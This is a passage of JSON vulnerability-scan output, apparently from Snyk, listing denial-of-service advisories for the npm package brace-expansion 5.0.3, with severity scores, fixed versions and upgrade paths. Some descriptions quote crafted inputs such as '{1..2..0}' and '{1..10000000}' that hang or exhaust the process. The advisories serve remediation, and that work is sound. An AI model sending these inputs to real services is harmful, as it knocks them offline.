8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## 